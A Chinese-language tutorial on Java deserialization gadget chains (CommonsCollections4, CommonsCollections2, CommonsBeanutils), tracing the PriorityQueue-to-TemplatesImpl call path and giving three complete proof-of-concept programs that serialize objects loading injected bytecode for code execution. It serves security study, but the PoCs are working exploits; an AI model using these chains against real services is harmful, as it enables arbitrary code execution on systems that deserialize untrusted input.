CommonsCollections4

CC4不再是通过TransformedMap.checkSetValue方法调用到ChainedTransformer.transform;而是通过TransformingComparator.compare调用的ChainedTransformer.transform;

CC4是在commons-collections4-4.0中的链,因为TransformingComparator类在commons-collections4-4.0.jar中实现了Serializable接口,而在commons-collections3中TransformingComparator类没有实现Serializable接口;

可以看到TransformingComparator中的compare调用了transform方法,而且transformer是可控的

1
2
3
4
5
6
7
8
9
10
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

CC4的入口类是PriorityQueue,因为PriorityQueue的readObject间接调用了compare;而且调用compare的对象可控;

readObject() == > heapify()

1
2
3
4
5
6
7
8
9
10
11
12
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

s.readInt();

queue = new Object[size];

for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}

注意:size >>> 1是一个位运算操作,用于将一个数值向右位移1位,相当于除以2取整的操作。如果要符合i >= 0的条件,size最先要为2;也就是说,在创建PriorityQueue对象时,至少要add两次(其实反射修改size属性值也是可以的),使得size的值为2,才会调用到siftDown,

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

最后在siftDownUsingComparator中调用了comparator.compare;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

还需要注意一下PriorityQueue的add方法

1
2
3
public boolean add(E e) {
return offer(e);
}

当第二次add数据时,i不等于0;会调用else中的siftUp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
1
2
3
4
5
6
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

最后在siftUpUsingComparator方法中也会调用compare方法,和CC6一样,如果不做修改的话,会在序列化时就会调用;

所以需要在序列化时修改一下comparator的值,调用完add方法之后,再通过反射修改回来

1
2
3
4
5
6
7
8
9
10
11
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package demo1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test8 {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"deadbeef");

// Field tfactory = tCalss.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());

byte[] bytes = Files.readAllBytes(Paths.get("E:\\tmp\\Calc.class"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

CommonsCollections2

CC2是在commons-collections4-4.0中的

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

TransformingComparator类中,compare方法的obj1是可控的,可以在上面的源码中看到,obj1其实就是PriorityQueue类中的在调用readObject时的heapify方法的queue[i]的值,这个值就是我们add的数据,如果我add的是templates;我们可以直接调用InvokerTransformer;就不用ChainedTransformer的数组嵌套调用了

1
new InvokerTransformer("newTransformer", null, null).transform(templates)

虽然queue数组被transient修饰了,但是在writeObject函数中通过s.writeObject(queue[i]); 来序列化 queue 数组的元素。而不是把queue当作一个Object数组存贮;所以queue的数据还是会被序列化,

1
transient Object[] queue;
1
2
3
4
5
6
7
8
9
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
s.defaultWriteObject();

s.writeInt(Math.max(2, size + 1));

for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package demo1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test8 {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"deadbeef");

byte[] bytes = Files.readAllBytes(Paths.get("E:\\tmp\\Calc.class"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

CommonsBeanutils

CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用”is”代替上面的”get”和”set”

创建Javabean类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class Student {
private String name;
private int age;

public Student() {}

public Student(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("执行getName");
return name;
}

public void setName(String name) {
System.out.println("执行setName");
this.name = name;
}

public int getAge() {
System.out.println("执行getAge");
return age;
}

public void setAge(int age) {
System.out.println("执行setAge");
this.age = age;
}
}

创建测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;

public class Test {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {

Student stu = new Student("zIxyd", 20);
//第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性
Object name = PropertyUtils.getProperty(stu, "name");
System.out.println(name);
}
}
//执行getName
//zIxyd

TemplatesImpl类下的getOutputProperties方法也符合Javabean的特点;

而且getOutputProperties方法调用了newTransformer方法,如果和CC2-4一样,调用恶意的TemplatesImpl实例的的newTransformer方法可以任意类加载并且实例化,就可以任意代码执行了

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties(); // <==
}
catch (TransformerConfigurationException e) {
return null;
}
}

接着看看那里调用了getProperty方法;

其中BeanComparator类下的compare方法调用了PropertyUtils.getProperty( o1, property );;而且形参property是可以通过构造函数控制,形参o1也是可控的;

然后就用CC4CC2中的PriorityQueue中readObject会调用compare方法,这样就串起来了

1
2
3
4
5
6
7
8
9
10
11
public int compare( Object o1, Object o2 ) {

if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
......

直接执行恶意templates实例的getOutputProperties方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"deadbeef");

Field tfactory = tCalss.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

byte[] bytes = Files.readAllBytes(Paths.get("E:\\tmp\\Calc.class"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

PropertyUtils.getProperty(templates,"outputProperties");

pco

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, NoSuchMethodException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"deadbeef");

byte[] bytes = Files.readAllBytes(Paths.get("E:\\tmp\\Calc.class"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

BeanComparator beanComparator = new BeanComparator("outputProperties", null);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

Class c = priorityQueue.getClass();
Field comparator = c.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);

serialize(priorityQueue);
unserialize();

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}